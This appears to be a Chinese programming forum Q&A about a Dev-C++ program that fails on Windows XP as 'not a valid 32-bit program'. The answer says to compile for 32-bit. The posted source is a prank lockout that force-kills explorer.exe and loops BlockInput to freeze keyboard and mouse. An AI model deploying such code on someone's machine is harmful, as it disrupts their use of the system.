程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> 更多編程語言 >> 編程綜合問答 >> win32-在devc++寫的程序在xp系統上運行 提示不是有效的32位程序 請問是怎麼回事?

win32-在devc++寫的程序在xp系統上運行 提示不是有效的32位程序 請問是怎麼回事?

編輯:編程綜合問答
在devc++寫的程序在xp系統上運行 提示不是有效的32位程序 請問是怎麼回事?

源碼如下

 #include <stdio.h>
#include <windows.h>
#include <mmsystem.h>
#include <Winable.h>
#pragma comment(lib, "winmm.lib")

int  main()
{

    PlaySound (TEXT("Light.wav"), NULL, SND_ASYNC | SND_NODEFAULT);
    system("taskkill /f /im explorer.exe"); 
    system("@echo xx"); 
    Sleep(2000);

    FreeConsole(); 
    while(1){ 
    BlockInput(true);
    while(1)
    {
    BlockInput(true); //阻塞輸入  鎖定鍵盤鼠標 但是ctrl+alt+delete 可以使用 
    printf("0 1 0 1 ") ;
   }
}
    return 0;
}

圖片說明
圖片說明

最佳回答:


在工具菜單,選擇編譯選項,選擇32位的編譯環境就OK了,XP是32位的操作系統,WIN7是64位的操作系統,
你想要在32位的操作系統運行64位的程序,計算機都不願意,

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved